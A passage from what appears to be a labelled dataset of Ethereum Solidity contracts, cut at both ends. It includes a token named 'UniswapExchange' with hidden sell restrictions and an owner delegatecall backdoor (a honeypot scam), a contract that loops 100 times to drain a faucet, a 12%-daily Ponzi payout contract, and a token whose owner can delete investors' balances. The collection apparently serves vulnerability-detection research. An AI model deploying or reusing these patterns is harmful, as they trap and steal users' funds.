totalSupply_.sub(_value); msg.sender.transfer(weiAmount); withdrawWallet.transfer(weiAmount.mul(uint256(100).sub(withdrawCommission)).div(100)); emit Withdraw(msg.sender, weiAmount, _value, priceEthPerToken, withdrawCommission); } else { balances[_to] = balances[_to].add(_value); } balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract RubusFundBlackToken is StandardToken { string constant public name = "Rubus Fund Black Token"; uint256 constant public decimals = 18; string constant public symbol = "RTB"; event Lock(bool lockStatus); event DeleteTokens(address user, uint256 tokensAmount); event AddTokens(address user, uint256 tokensAmount); event NewTokenPrice(uint256 tokenPrice); event GetWei(uint256 weiAmount); event AddWei(uint256 weiAmount); event DepositCommission(uint256 deposit); event InvestCommission(uint256 invest); event WithdrawCommission(uint256 withdraw); event DepositWallet(address deposit); event InvestWallet(address invest); event WithdrawWallet(address withdraw); constructor() public { rubusBlackAddress = address(this); setNewPrice(33333); lockUp(false); newDepositCommission(100); newInvestCommission(80); newWithdrawCommission(100); newMinimalEthers(500000000000000000); newTokenUnlockPercent(100); newLockTimestamp(2592000); newDepositWallet(0x73D5f035B8CB58b4aF065d6cE49fC8E7288536F3); newInvestWallet(0xf0EF10870308013903bd6Dc8f86E7a7EAF1a86Ab); newWithdraWallet(0x7c4C8b371d4348f7A1fd2e76f05aa60846b442DD); } function _lockPaymentTokens(address sender, uint _amount, uint _date) internal { balancesLock[sender].push(Purchase(_amount, _date)); } function () payable external whenNotPaused { require(msg.value >= minimalEthers); uint256 tokens = msg.value.mul(depositCommission).mul(priceEthPerToken).div(10000); totalSupply_ = totalSupply_.add(tokens); uint256 lockTokens = tokens.mul(100).div(lockTokensPercent); _lockPaymentTokens(msg.sender, lockTokens, now.add(lockTimestamp)); balances[msg.sender] = balances[msg.sender].add(tokens); investWallet.transfer(msg.value.mul(investCommission).div(100)); depositWallet.transfer(msg.value.mul(uint256(100).sub(depositCommission)).div(100)); emit Transfer(rubusBlackAddress, msg.sender, tokens); emit Deposit(msg.sender, msg.value, tokens, priceEthPerToken, depositCommission); } function getWei(uint256 weiAmount) external onlyOwner { owner.transfer(weiAmount); emit GetWei(weiAmount); } function addEther() payable external onlyOwner { emit AddWei(msg.value); } function airdrop(address[] receiver, uint256[] amount) external onlyOwner { require(receiver.length > 0 && receiver.length == amount.length); for(uint256 i = 0; i < receiver.length; i++) { uint256 tokens = amount[i]; totalSupply_ = totalSupply_.add(tokens); balances[receiver[i]] = balances[receiver[i]].add(tokens); emit Transfer(address(this), receiver[i], tokens); emit AddTokens(receiver[i], tokens); } } function deleteInvestorTokens(address[] user, uint256[] amount) external onlyOwner { require(user.length > 0 && user.length == amount.length); for(uint256 i = 0; i < user.length; i++) { uint256 tokens = amount[i]; require(tokens <= balances[user[i]]); totalSupply_ = totalSupply_.sub(tokens); balances[user[i]] = balances[user[i]].sub(tokens); emit Transfer(user[i], address(this), tokens); emit DeleteTokens(user[i], tokens); } } function setNewPrice(uint256 _ethPerToken) public onlyOwner { priceEthPerToken = _ethPerToken; emit NewTokenPrice(priceEthPerToken); } function newDepositCommission(uint256 _newDepositCommission) public onlyOwner { depositCommission = _newDepositCommission; emit DepositCommission(depositCommission); } function newInvestCommission(uint256 _newInvestCommission) public onlyOwner { investCommission = _newInvestCommission; emit InvestCommission(investCommission); } function newWithdrawCommission(uint256 _newWithdrawCommission) public onlyOwner { withdrawCommission = _newWithdrawCommission; emit WithdrawCommission(withdrawCommission); } function newDepositWallet(address _depositWallet) public onlyOwner { depositWallet = _depositWallet; emit DepositWallet(depositWallet); } function newInvestWallet(address _investWallet) public onlyOwner { investWallet = _investWallet; emit InvestWallet(investWallet); } function newWithdraWallet(address _withdrawWallet) public onlyOwner { withdrawWallet = _withdrawWallet; emit WithdrawWallet(withdrawWallet); } function lockUp(bool _lock) public onlyOwner { lock = _lock; emit Lock(lock); } function newMinimalEthers(uint256 _weiAMount) public onlyOwner { minimalEthers = _weiAMount; } function newTokenUnlockPercent(uint256 _lockTokensPercent) public onlyOwner { lockTokensPercent = _lockTokensPercent; } function newLockTimestamp(uint256 _lockTimestamp) public onlyOwner { lockTimestamp = _lockTimestamp; } }
1
3,100
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
2,288
pragma solidity ^0.4.18; interface CornFarm { function buyObject(address _beneficiary) public payable; } interface Corn { function transfer(address to, uint256 value) public returns (bool); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract PepFarmer { using SafeMath for uint256; bool private reentrancy_lock = false; address public shop = 0x912D92502De8EC2B4057F7F3b39bB67B0418192b; address public object = 0xaC21cCcDE31280257784f02f7201465754E96B0b; mapping(address => uint256) public workDone; modifier nonReentrant() { require(!reentrancy_lock); reentrancy_lock = true; _; reentrancy_lock = false; } function pepFarm() nonReentrant external { for (uint8 i = 0; i < 100; i++) { CornFarm(shop).buyObject(this); } workDone[msg.sender] = workDone[msg.sender].add(uint256(100 ether)); } function reapFarm() nonReentrant external { require(workDone[msg.sender] > 0); Corn(object).transfer(msg.sender, workDone[msg.sender]); workDone[msg.sender] = 0; } }
1
3,047
pragma solidity ^0.4.11; contract token { function transfer(address receiver, uint amount); function balanceOf(address addr); } contract CrowdSale { enum State { Fundraising, Successful } State public state = State.Fundraising; mapping (address => uint) balances; address[] contributors; uint public totalRaised; uint public currentBalance; uint public deadline; uint public completedAt; token public tokenReward; address public creator; address public beneficiary; string campaignUrl; uint constant version = 1; event LogFundingReceived(address addr, uint amount, uint currentTotal); event LogWinnerPaid(address winnerAddress); event LogFundingSuccessful(uint totalRaised); event LogFunderInitialized( address creator, address beneficiary, string url, uint256 deadline); event LogContributorsContributed(address addr, uint amount, uint id); event LogContributorsPayout(address addr, uint amount); modifier inState(State _state) { if (state != _state) revert(); _; } modifier isCreator() { if (msg.sender != creator) revert(); _; } modifier atEndOfLifecycle() { if(!(state == State.Successful && completedAt + 1 hours < now)) { revert(); } _; } function CrowdSale( uint _timeInMinutesForFundraising, string _campaignUrl, address _ifSuccessfulSendTo, token _addressOfTokenUsedAsReward) { creator = msg.sender; beneficiary = _ifSuccessfulSendTo; campaignUrl = _campaignUrl; deadline = now + (_timeInMinutesForFundraising * 1 minutes); currentBalance = 0; tokenReward = token(_addressOfTokenUsedAsReward); LogFunderInitialized( creator, beneficiary, campaignUrl, deadline); } function contribute() public inState(State.Fundraising) payable returns (uint256) { uint id; if(contributors.length == 0){ contributors.push(msg.sender); id=0; } else{ for(uint i = 0; i < contributors.length; i++) { if(contributors[i]==msg.sender) { id = i; break; } else if(i == contributors.length - 1) { contributors.push(msg.sender); id = i+1; } } } balances[msg.sender]+=msg.value; totalRaised += msg.value; currentBalance = totalRaised; LogContributorsContributed (msg.sender, balances[msg.sender], id); LogFundingReceived(msg.sender, msg.value, totalRaised); checkIfFundingCompleteOrExpired(); return contributors.length - 1; } function checkIfFundingCompleteOrExpired() { if ( now > deadline ) { state = State.Successful; LogFundingSuccessful(totalRaised); finished(); completedAt = now; } } function payOut() public inState(State.Successful) { if (msg.sender == creator){ if(!beneficiary.send(this.balance)) { revert(); } currentBalance = 0; LogWinnerPaid(beneficiary); } else { uint amount = 0; address add; for(uint i=0; i<contributors.length ;i++){ if (contributors[i]==msg.sender){ add = contributors[i]; amount = balances[add]*9000000/totalRaised; balances[add] = 0; tokenReward.transfer(add, amount); LogContributorsPayout(add, amount); amount = 0; } } } } function finished() inState(State.Successful) { if(!beneficiary.send(this.balance)) { revert(); } currentBalance = 0; LogWinnerPaid(beneficiary); } function removeContract() public isCreator() atEndOfLifecycle() { selfdestruct(msg.sender); } function () payable { if (msg.value > 0){ contribute(); } else revert(); } }
1
2,917
pragma solidity ^0.4.25; contract Daily12 { mapping (address => uint256) public invested; mapping (address => uint256) public atBlock; function () external payable { if (invested[msg.sender] != 0) { uint256 amount = invested[msg.sender] * 12 / 100 * (block.number - atBlock[msg.sender]) / 5900; msg.sender.transfer(amount); } atBlock[msg.sender] = block.number; invested[msg.sender] += msg.value; } }
1
4,299
pragma solidity ^0.4.24; contract POOHMOXevents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount, uint256 potAmount ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract POOHMOX is POOHMOXevents { using SafeMath for *; using NameFilter for string; using KeysCalc for uint256; PlayerBookInterface private PlayerBook; address private admin = msg.sender; address private flushDivs; string constant public name = "POOHMOX"; string constant public symbol = "POOHMOX"; uint256 private rndExtra_ = 1 seconds; uint256 private rndGap_ = 1 seconds; uint256 private rndInit_ = 5 minutes; uint256 private rndMax_ = 5 minutes; uint256 constant private rndInc_ = 5 minutes; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => POOHMOXDatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => POOHMOXDatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => POOHMOXDatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => POOHMOXDatasets.TeamFee) public fees_; mapping (uint256 => POOHMOXDatasets.PotSplit) public potSplit_; constructor(address whaleContract, address playerbook) public { flushDivs = whaleContract; PlayerBook = PlayerBookInterface(playerbook); fees_[0] = POOHMOXDatasets.TeamFee(39,20); potSplit_[0] = POOHMOXDatasets.PotSplit(15,10); } modifier isActivated() { require(activated_ == true); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0); require(_addr == tx.origin); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000); require(_eth <= 100000000000000000000000); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMOXDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, _eventData_); } function buyXid(uint256 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMOXDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } buyCore(_pID, _affCode, _eventData_); } function buyXaddr(address _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMOXDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function buyXname(bytes32 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMOXDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { POOHMOXDatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } reLoadCore(_pID, _affCode, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { POOHMOXDatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { POOHMOXDatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { POOHMOXDatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit POOHMOXevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit POOHMOXevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit POOHMOXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit POOHMOXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit POOHMOXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { return 0.01 ether; } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3] ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, POOHMOXDatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, 0, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit POOHMOXevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, POOHMOXDatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, 0, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit POOHMOXevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMOXDatasets.EventReturns memory _eventData_) private { require(_eth >= 0.01 ether); if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if 